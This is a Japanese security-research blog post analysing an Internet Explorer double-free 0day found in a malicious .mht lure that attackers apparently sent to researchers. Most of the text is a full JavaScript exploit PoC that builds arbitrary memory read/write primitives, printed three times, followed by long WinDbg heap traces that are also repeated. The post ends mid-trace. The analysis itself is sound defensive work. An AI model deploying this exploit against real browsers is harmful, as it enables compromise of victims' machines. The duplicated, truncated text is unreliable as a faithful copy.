今日表示しない

トップへ戻る

トップへ戻る

脆弱性研究

脆弱性研究

脆弱性研究

Internet Explorer 0day

Internet Explorer 0day

Internet Explorer 0day

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

概要

GoogleMicrosoftは、セキュリティ研究者を対象とした北朝鮮からのハッキング攻撃に関する分析結果を公開しました。知られているように、SNSを利用した攻撃がENKIの研究者を対象としても同様に試みられました。

しかし、ハッキング攻撃が明白であったため、攻撃者の試みは失敗に終わり、逆に攻撃が試みられた当時のログを確保することができました。この記事では、Chrome、Visual Studioなど、公開された分析結果では説明されていないInternet Explorer 0day攻撃の分析結果を共有します。

初期攻撃

攻撃者は、Chrome攻撃コードをmacOS向けに変更する作業への参加を要求し、Chromeの脆弱性コードを含んだ文書として「Chrome_85_RCE_Full_Exploit_Code.mht」ファイルを送ってきました。このファイルは、Internet Explorerブラウザを使用して訪問したウェブサイトをローカルに保存する際に使用されるMHTMLファイルです。

該当ファイルはChromeでも一部の内容を確認できますが、JavaScript機能を有効にし、ボタンアクションが動作した際、記事の内容を完全に読み取ることができるように作成されています。これは、攻撃対象がInternet Explorerブラウザを使用するように誘導したものと推定されます。


スクリプトの実行が許可されると、リモート(codevexillium[.]org)から追加のペイロードが2回ダウンロードされ、2回目のペイロードにはInternet Explorerブラウザの脆弱性を悪用する攻撃コードが含まれています。

脆弱性分析

Root Cause Analysis

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
/*
IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware
Tested on Windows 10 Pro 19042.746, IE11, x64

(20e0.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::DataView::SetValue<int,int *>+0x48:
6c903c89 890411          mov     dword ptr [ecx+edx],eax ds:002b:41414141=????????
1:023:x86> r
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8
eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
1:023:x86> vertarget
Windows 10 Version 19042 MP (8 procs) Free x64
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
*/
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
var god
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var leak = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = leak
var memory = new Uint32Array(dump(hd2.nodeValue))[6]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var tmp = new Array(0x10)
var mem = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) 
    tmp[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, tmp[4]))
setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) mem[i] = tmp[i]
mem[4] = bs + 0x40
mem[16] = vt
mem[17] = gc
mem[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
write(0x41414141, 0x42424242, 32)
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
/*
IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware
Tested on Windows 10 Pro 19042.746, IE11, x64

(20e0.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::DataView::SetValue<int,int *>+0x48:
6c903c89 890411          mov     dword ptr [ecx+edx],eax ds:002b:41414141=????????
1:023:x86> r
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8
eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
1:023:x86> vertarget
Windows 10 Version 19042 MP (8 procs) Free x64
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
*/
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
var god
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var leak = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = leak
var memory = new Uint32Array(dump(hd2.nodeValue))[6]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var tmp = new Array(0x10)
var mem = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) 
    tmp[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, tmp[4]))
setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) mem[i] = tmp[i]
mem[4] = bs + 0x40
mem[16] = vt
mem[17] = gc
mem[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
write(0x41414141, 0x42424242, 32)
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
/*
IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware
Tested on Windows 10 Pro 19042.746, IE11, x64

(20e0.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::DataView::SetValue<int,int *>+0x48:
6c903c89 890411          mov     dword ptr [ecx+edx],eax ds:002b:41414141=????????
1:023:x86> r
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8
eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
1:023:x86> vertarget
Windows 10 Version 19042 MP (8 procs) Free x64
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
*/
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
var god
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var leak = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = leak
var memory = new Uint32Array(dump(hd2.nodeValue))[6]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var tmp = new Array(0x10)
var mem = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) 
    tmp[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, tmp[4]))
setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) mem[i] = tmp[i]
mem[4] = bs + 0x40
mem[16] = vt
mem[17] = gc
mem[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
write(0x41414141, 0x42424242, 32)
</script>
</body>
</html>


上記は、脆弱性の根本原因を分析するために攻撃コードから抽出した、バグをトリガーするPoCコードです。分析の結果、攻撃者が使用したバグは、DOMオブジェクトの属性値の解放部分で発生するDouble Freeバグであることが確認されました。

eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
